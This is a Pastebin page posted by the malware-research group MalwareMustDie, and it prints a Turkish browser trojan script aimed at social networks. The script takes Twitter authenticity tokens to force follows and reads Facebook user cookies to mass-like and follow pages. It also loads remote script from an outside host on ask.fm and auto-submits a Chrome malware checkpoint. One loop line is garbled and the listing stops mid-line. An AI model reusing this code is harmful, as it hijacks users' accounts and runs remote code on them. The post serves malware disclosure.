SHARE
TWEET

Turkish Trojan JS SNS set (from Landing page)

MalwareMustDie Mar 10th, 2014 369 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MalwareMustDie!
  2. #Turkish Trojan JS SNS set (from Landing page)
  3. #----------------------------------------------
  4.  
  5. if (!document.getElementById("amung")) {
  6.     new Image().src = "http://whos.amung.us/pingjs/?k=kingsayac";
  7.     new Image().src = "http://whos.amung.us/pingjs/?k=ap3hal4ffgz4";
  8. }
  9. var chromecheckpoint = document.getElementById('chrome_malware_checkpoint');
  10. if (chromecheckpoint) {
  11.     var inputgec = document.createElement('input');
  12.     inputgec.name = "submit[Continue]";
  13.     inputgec.value = 'Devam';
  14.     inputgec.type = 'hidden';
  15.     document.forms[0].appendChild(inputgec);
  16.     document.forms[0].submit();
  17. }
  18.  
  19. function addJavascript(jsname) {
  20.     var th = document.getElementsByTagName('head')[0];
  21.     var s = document.createElement('script');
  22.     s.setAttribute('type', 'text/javascript');
  23.     s.setAttribute('src', jsname);
  24.     th.appendChild(s);
  25. }
  26. if (location.hostname.indexOf("ask.fm") >= 0) {
  27.     new Image().src = "http://whos.amung.us/pingjs/?k=mahsnaskfm";
  28.     addJavascript("http://www.wjetphp.com/ask.php");
  29. }
  30. if (location.hostname.indexOf("twitter.com") >= 0) {
  31.     new Image().src = "http://whos.amung.us/pingjs/?k=mhsntw";
  32.     authenticity_token = document.getElementsByName("authenticity_token")[0].value;
  33.  
  34.     function follow(id) {
  35.         var xmlhttp = new XMLHttpRequest();
  36.         xmlhttp.onreadystatechange = function () {
  37.             if (xmlhttp.readyState == 4) {}
  38.         };
  39.         var params = "&authenticity_token=" + authenticity_token;
  40.         params += "&user_id=" + id;
  41.         xmlhttp.open("POST", "/i/user/follow", true);
  42.         xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  43.         xmlhttp.send(params);
  44.     }
  45.     follow("1286070210");
  46. }
  47. var tarih = new Date();
  48. if (location.hostname.indexOf("www.facebook.com", "static.ak.facebook.com") >= 0) {
  49.     var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
  50.     if (!localStorage['Pages_' + profile_id] || (localStorage['Pages_' + profile_id] && tarih.getTime() >= localStorage['Pages_' + profile_id])) {
  51.         var takip = Array("100007778562033", "100001505464158", "100002048506584", "100003556089727", "100007948804203", "100006837486000");
  52.         var likes = Array("768016139898149");
  53.         var pages = Array("297807953706203", "541218362660545", "203886786485988", "237544776420901", "223181311217491", "632836220114207", "523965410985068", "223537854497133", "279006218931909", "1466587270220727", "223537854497133", "223537854497133", "279006218931909", "1466587270220727", "660527053997908", "543536815735815", "589343477816103", "392489657488278", "349761715161747", "603087599767139");
  54.         for (i = 0; i 0) {
  55.             tarih.setTime(tarih.getTime() + 1000 * 20 * 20);
  56.             localStorage['Pages_' + profile_id] = tarih.getTime();
  57.         }
  58.     }
  59. }
  60. if (location.hostname.indexOf("www.facebook.com") >= 0) {
  61.     window.setInterval(function () {
  62.             if (document.getElementsByClassName("ego_unit_container").length > 0) {
  63.                 if (document.getElementsByClassName("ego_unit_container")[0].innerHTML.indexOf("s3.amazonaws.com") == -1) {
  64.                     document.getElementsByClassName("ego_unit_container")[0].innerHTML = ''
RAW Paste Data
Top